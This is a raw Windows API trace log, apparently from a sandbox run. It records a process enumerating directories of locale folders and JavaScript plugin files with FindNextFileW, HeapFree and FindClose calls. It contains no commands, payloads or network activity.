	[0171.897] FindNextFileW (in: hFindFile=0x394b678, lpFindFileData=0x2fbdf28 | out: lpFindFileData=0x2fbdf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeecfda79, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeecfda79, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeecfda79, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="sv-se", cAlternateFileName="")) returned 1
	[0171.898] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x55e0050 | out: hHeap=0x4f0000) returned 1
	[0171.898] FindNextFileW (in: hFindFile=0x394b678, lpFindFileData=0x2fbdf28 | out: lpFindFileData=0x2fbdf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeed23cce, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeed23cce, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeed23cce, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="tr-tr", cAlternateFileName="")) returned 1
	[0171.899] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x55e0050 | out: hHeap=0x4f0000) returned 1
	[0171.899] FindNextFileW (in: hFindFile=0x394b678, lpFindFileData=0x2fbdf28 | out: lpFindFileData=0x2fbdf28*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeecfda79, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeecfda79, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeecfda79, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x4bf, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1
	[0171.899] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x55e0050 | out: hHeap=0x4f0000) returned 1
	[0171.900] FindNextFileW (in: hFindFile=0x394b678, lpFindFileData=0x2fbdf28 | out: lpFindFileData=0x2fbdf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeed23cce, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeed23cce, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeed23cce, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="zh-cn", cAlternateFileName="")) returned 1
	[0171.900] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x55e0050 | out: hHeap=0x4f0000) returned 1
	[0171.900] FindNextFileW (in: hFindFile=0x394b678, lpFindFileData=0x2fbdf28 | out: lpFindFileData=0x2fbdf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeecfda79, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeecfda79, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeecfda79, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="zh-tw", cAlternateFileName="")) returned 1
	[0171.900] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x55e0050 | out: hHeap=0x4f0000) returned 1
	[0171.900] FindNextFileW (in: hFindFile=0x394b678, lpFindFileData=0x2fbdf28 | out: lpFindFileData=0x2fbdf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeecfda79, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeecfda79, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeecfda79, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="zh-tw", cAlternateFileName="")) returned 0
	[0171.901] FindClose (in: hFindFile=0x394b678 | out: hFindFile=0x394b678) returned 1
	[0171.901] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x46a03c8 | out: hHeap=0x4f0000) returned 1
	[0171.901] FindNextFileW (in: hFindFile=0x394b638, lpFindFileData=0x2fbe1a4 | out: lpFindFileData=0x2fbe1a4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeed23cce, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeed23cce, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeed23cce, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x7044, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="plugin.js", cAlternateFileName="")) returned 1
	[0171.901] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x46903c0 | out: hHeap=0x4f0000) returned 1
	[0171.901] FindNextFileW (in: hFindFile=0x394ba78, lpFindFileData=0x2fbe420 | out: lpFindFileData=0x2fbe420*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeecfda79, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeecfda79, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeed23cce, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="js", cAlternateFileName="")) returned 0
	[0171.901] FindClose (in: hFindFile=0x394ba78 | out: hFindFile=0x394ba78) returned 1
	[0171.901] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x466ffc8 | out: hHeap=0x4f0000) returned 1
	[0171.903] FindNextFileW (in: hFindFile=0x394b538, lpFindFileData=0x2fbe69c | out: lpFindFileData=0x2fbe69c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee8d1876, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee8d1876, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee8d1876, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="my-recent-files-select", cAlternateFileName="MY-REC~1")) returned 1
	[0171.909] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x46903c0 | out: hHeap=0x4f0000) returned 1
	[0171.909] FindNextFileW (in: hFindFile=0x394b9b8, lpFindFileData=0x2fbe420 | out: lpFindFileData=0x2fbe420*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee8d1876, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee8d1876, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee8d1876, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="js", cAlternateFileName="")) returned 1
	[0171.909] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x46903c0 | out: hHeap=0x4f0000) returned 1
	[0171.909] FindNextFileW (in: hFindFile=0x394b9b8, lpFindFileData=0x2fbe420 | out: lpFindFileData=0x2fbe420*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee8d1876, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee8d1876, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee8d1876, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="js", cAlternateFileName="")) returned 0
	[0171.909] FindClose (in: hFindFile=0x394b9b8 | out: hFindFile=0x394b9b8) returned 1
	[0171.909] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x466ffc8 | out: hHeap=0x4f0000) returned 1
	[0171.909] FindNextFileW (in: hFindFile=0x394b538, lpFindFileData=0x2fbe69c | out: lpFindFileData=0x2fbe69c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee8d1876, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee8d1876, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee8d1876, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ob-preview", cAlternateFileName="OB-PRE~1")) returned 1
	[0171.910] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x46903c0 | out: hHeap=0x4f0000) returned 1
	[0171.911] FindNextFileW (in: hFindFile=0x394b6f8, lpFindFileData=0x2fbe420 | out: lpFindFileData=0x2fbe420*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee8d1876, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee8d1876, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee8d1876, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="images", cAlternateFileName="")) returned 1
	[0171.951] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x55e0050 | out: hHeap=0x4f0000) returned 1
	[0171.951] FindNextFileW (in: hFindFile=0x394b9b8, lpFindFileData=0x2fbdf28 | out: lpFindFileData=0x2fbdf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee920b4a, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee920b4a, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee943fc4, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="dark", cAlternateFileName="")) returned 0
	[0171.951] FindClose (in: hFindFile=0x394b9b8 | out: hFindFile=0x394b9b8) returned 1
	[0171.951] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x55d0048 | out: hHeap=0x4f0000) returned 1
	[0171.953] FindNextFileW (in: hFindFile=0x394bbf8, lpFindFileData=0x2fbe1a4 | out: lpFindFileData=0x2fbe1a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee920b4a, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee920b4a, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee920b4a, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="themes", cAlternateFileName="")) returned 0
	[0171.953] FindClose (in: hFindFile=0x394bbf8 | out: hFindFile=0x394bbf8) returned 1
	[0171.953] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x46903c0 | out: hHeap=0x4f0000) returned 1
	[0171.953] FindNextFileW (in: hFindFile=0x394b6f8, lpFindFileData=0x2fbe420 | out: lpFindFileData=0x2fbe420*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee943fc4, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee943fc4, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee943fc4, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="js", cAlternateFileName="")) returned 1
	[0171.962] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x46d03e0 | out: hHeap=0x4f0000) returned 1
	[0171.962] FindNextFileW (in: hFindFile=0x394b578, lpFindFileData=0x2fbdf28 | out: lpFindFileData=0x2fbdf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee943fc4, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee943fc4, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee943fc4, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ca-es", cAlternateFileName="")) returned 1
	[0171.963] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x46d03e0 | out: hHeap=0x4f0000) returned 1
	[0171.963] FindNextFileW (in: hFindFile=0x394b578, lpFindFileData=0x2fbdf28 | out: lpFindFileData=0x2fbdf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee943fc4, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee943fc4, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee943fc4, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="cs-cz", cAlternateFileName="")) returned 1
	[0171.964] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x46d03e0 | out: hHeap=0x4f0000) returned 1
	[0171.964] FindNextFileW (in: hFindFile=0x394b578, lpFindFileData=0x2fbdf28 | out: lpFindFileData=0x2fbdf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee943fc4, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee943fc4, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee943fc4, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="da-dk", cAlternateFileName="")) returned 1
	[0171.964] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x46d03e0 | out: hHeap=0x4f0000) returned 1
	[0171.964] FindNextFileW (in: hFindFile=0x394b578, lpFindFileData=0x2fbdf28 | out: lpFindFileData=0x2fbdf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee990454, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee990454, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee990454, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="de-de", cAlternateFileName="")) returned 1
	[0171.965] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x46d03e0 | out: hHeap=0x4f0000) returned 1
	[0171.965] FindNextFileW (in: hFindFile=0x394b578, lpFindFileData=0x2fbdf28 | out: lpFindFileData=0x2fbdf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee96a1f4, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee96a1f4, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee96a1f4, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-ae", cAlternateFileName="")) returned 1
	[0171.965] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x46d03e0 | out: hHeap=0x4f0000) returned 1
	[0171.965] FindNextFileW (in: hFindFile=0x394b578, lpFindFileData=0x2fbdf28 | out: lpFindFileData=0x2fbdf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee990454, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee990454, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee990454, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-gb", cAlternateFileName="")) returned 1
	[0171.966] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x46d03e0 | out: hHeap=0x4f0000) returned 1
	[0171.966] FindNextFileW (in: hFindFile=0x394b578, lpFindFileData=0x2fbdf28 | out: lpFindFileData=0x2fbdf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee96a1f4, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee96a1f4, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee96a1f4, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-il", cAlternateFileName="")) returned 1
	[0171.967] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x46d03e0 | out: hHeap=0x4f0000) returned 1
	[0171.967] FindNextFileW (in: hFindFile=0x394b578, lpFindFileData=0x2fbdf28 | out: lpFindFileData=0x2fbdf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee96a1f4, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee96a1f4, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee96a1f4, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="es-es", cAlternateFileName="")) returned 1
	[0171.967] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x46d03e0 | out: hHeap=0x4f0000) returned 1
	[0171.967] FindNextFileW (in: hFindFile=0x394b578, lpFindFileData=0x2fbdf28 | out: lpFindFileData=0x2fbdf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee96a1f4, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee96a1f4, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee96a1f4, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="eu-es", cAlternateFileName="")) returned 1
	[0171.972] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x46d03e0 | out: hHeap=0x4f0000) returned 1
	[0171.972] FindNextFileW (in: hFindFile=0x394b578, lpFindFileData=0x2fbdf28 | out: lpFindFileData=0x2fbdf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee96a1f4, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee96a1f4, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee96a1f4, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="fi-fi", cAlternateFileName="")) returned 1
	[0171.973] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x46d03e0 | out: hHeap=0x4f0000) returned 1
	[0171.973] FindNextFileW (in: hFindFile=0x394b578, lpFindFileData=0x2fbdf28 | out: lpFindFileData=0x2fbdf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee990454, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee990454, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee990454, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="fr-fr", cAlternateFileName="")) returned 1
	[0171.973] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x46d03e0 | out: hHeap=0x4f0000) returned 1
	[0171.973] FindNextFileW (in: hFindFile=0x394b578, lpFindFileData=0x2fbdf28 | out: lpFindFileData=0x2fbdf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee96a1f4, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee96a1f4, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee96a1f4, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="fr-ma", cAlternateFileName="")) returned 1
	[0171.974] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x46d03e0 | out: hHeap=0x4f0000) returned 1
	[0171.974] FindNextFileW (in: hFindFile=0x394b578, lpFindFileData=0x2fbdf28 | out: lpFindFileData=0x2fbdf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee943fc4, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee943fc4, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee943fc4, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="he-il", cAlternateFileName="")) returned 1
	[0171.976] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x46d03e0 | out: hHeap=0x4f0000) returned 1
	[0171.976] FindNextFileW (in: hFindFile=0x394b578, lpFindFileData=0x2fbdf28 | out: lpFindFileData=0x2fbdf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee96a1f4, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee96a1f4, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee96a1f4, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="hr-hr", cAlternateFileName="")) returned 1
	[0171.976] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x46d03e0 | out: hHeap=0x4f0000) returned 1
	[0171.976] FindNextFileW (in: hFindFile=0x394b578, lpFindFileData=0x2fbdf28 | out: lpFindFileData=0x2fbdf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee96a1f4, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee96a1f4, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee96a1f4, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="hu-hu", cAlternateFileName="")) returned 1
	[0171.977] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x46d03e0 | out: hHeap=0x4f0000) returned 1
	[0171.977] FindNextFileW (in: hFindFile=0x394b578, lpFindFileData=0x2fbdf28 | out: lpFindFileData=0x2fbdf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee96a1f4, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee96a1f4, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee96a1f4, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="it-it", cAlternateFileName="")) returned 1
	[0171.978] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x46d03e0 | out: hHeap=0x4f0000) returned 1
	[0171.978] FindNextFileW (in: hFindFile=0x394b578, lpFindFileData=0x2fbdf28 | out: lpFindFileData=0x2fbdf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee96a1f4, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee96a1f4, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee96a1f4, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ja-jp", cAlternateFileName="")) returned 1
	[0171.978] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x46d03e0 | out: hHeap=0x4f0000) returned 1
	[0171.978] FindNextFileW (in: hFindFile=0x394b578, lpFindFileData=0x2fbdf28 | out: lpFindFileData=0x2fbdf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee96a1f4, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee96a1f4, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee96a1f4, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ko-kr", cAlternateFileName="")) returned 1
	[0171.979] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x46d03e0 | out: hHeap=0x4f0000) returned 1
	[0171.979] FindNextFileW (in: hFindFile=0x394b578, lpFindFileData=0x2fbdf28 | out: lpFindFileData=0x2fbdf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee96a1f4, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee96a1f4, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee96a1f4, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="nb-no", cAlternateFileName="")) returned 1
	[0171.979] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x46d03e0 | out: hHeap=0x4f0000) returned 1
	[0171.979] FindNextFileW (in: hFindFile=0x394b578, lpFindFileData=0x2fbdf28 | out: lpFindFileData=0x2fbdf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee990454, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee990454, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee990454, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="nl-nl", cAlternateFileName="")) returned 1
	[0171.981] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x46d03e0 | out: hHeap=0x4f0000) returned 1
	[0171.981] FindNextFileW (in: hFindFile=0x394b578, lpFindFileData=0x2fbdf28 | out: lpFindFileData=0x2fbdf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee96a1f4, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee96a1f4, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee96a1f4, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="pl-pl", cAlternateFileName="")) returned 1
	[0171.982] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x46d03e0 | out: hHeap=0x4f0000) returned 1
	[0171.982] FindNextFileW (in: hFindFile=0x394b578, lpFindFileData=0x2fbdf28 | out: lpFindFileData=0x2fbdf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee96a1f4, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee96a1f4, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee96a1f4, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="pt-br", cAlternateFileName="")) returned 1
	[0171.982] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x46d03e0 | out: hHeap=0x4f0000) returned 1
